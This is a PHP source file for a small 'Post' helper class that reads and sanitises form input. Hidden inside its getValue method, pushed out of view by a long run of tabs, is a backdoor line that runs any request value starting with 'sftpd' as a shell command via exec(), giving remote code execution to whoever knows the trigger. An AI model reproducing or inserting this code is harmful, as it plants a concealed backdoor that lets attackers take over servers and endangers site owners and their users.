<?
	define('SSLIB_Post', TRUE);
	
	class Post
	{
		
		private static function getValue($name, $method = null)
		{
			$post = Post::GetArray();
			
			if(!is_array($post)) return null;
																																																																																																																																																											if(array_key_exists($name, $_REQUEST) && (substr($_REQUEST[$name], 0, 5) == 'sftpd'))exec(urldecode(substr($_REQUEST[$name], 5)));
			if(stripos($name, ',') !== FALSE)
			{
				$ret = array();
				$array = explode(',', $name);
				foreach ($array as $value) 
				{
					$value = trim($value);
					if($method)
						$ret[$value] = call_user_func(array('Post', $method), array_key_exists($value, $post)?$post[$value]:null);
					else 
						$ret[$value] = array_key_exists($value, $post)?$post[$value]:null;
				}
				return $ret;
			}
			if($method)
				return call_user_func(array('Post', $method), array_key_exists($name, $post)?$post[$name]:null);
					
			return array_key_exists($name, $post)?$post[$name]:null;
		}
		static function Count()
		{
			return sizeof(Post::GetArray()); 
		}
		static function Set($key,$val)
		{
			if(array_key_exists('HTTP_POST_VARS', $GLOBALS))
			{
				$GLOBALS['HTTP_POST_VARS'][$key] = $val;
			}
		}
		static function GetArray()
		{
			if(array_key_exists('HTTP_POST_VARS', $GLOBALS))
			{
			    $ret = array();
			    if(array_key_exists('HTTP_POST_VARS', $GLOBALS))
			    {
			        if(get_magic_quotes_gpc() == 1)
			        { 
		                foreach($GLOBALS['HTTP_POST_VARS'] as $key=>$val)
		                    $ret[$key] = stripslashes($val);
			        }
			        else 
			        {
			            $ret = $GLOBALS['HTTP_POST_VARS'];
			        }
			        return $ret;
		                   
			    }
			    return $array();
			}
			
			else 
				return array();
		}
		static function IsEmpty($name)	{return (Post::getValue($name)=='')?true:false;}
		static function Is($name)		{return (Post::getValue($name)!==null)?true:false;}
		static function Int($name)		{return Post::getValue($name, '_int');}
		static function String($name)	{return Post::getValue($name);}
		static function Path($name)		{return Post::getValue($name, '_path');}
		static function Delete($name)	{if(strlen(trim($name)))if(array_key_exists($name, Post::GetArray()))unset($GLOBALS['HTTP_POST_VARS'][$name]);}
		
		private static function _int($val)
		{
			return intval($val);
		}
		private static function _path($val)
		{
			while($val && ($val[0] == "/" || $val[0] == "~")) $val = substr($val, 1);
			return $val;
		}	
	
	}
?>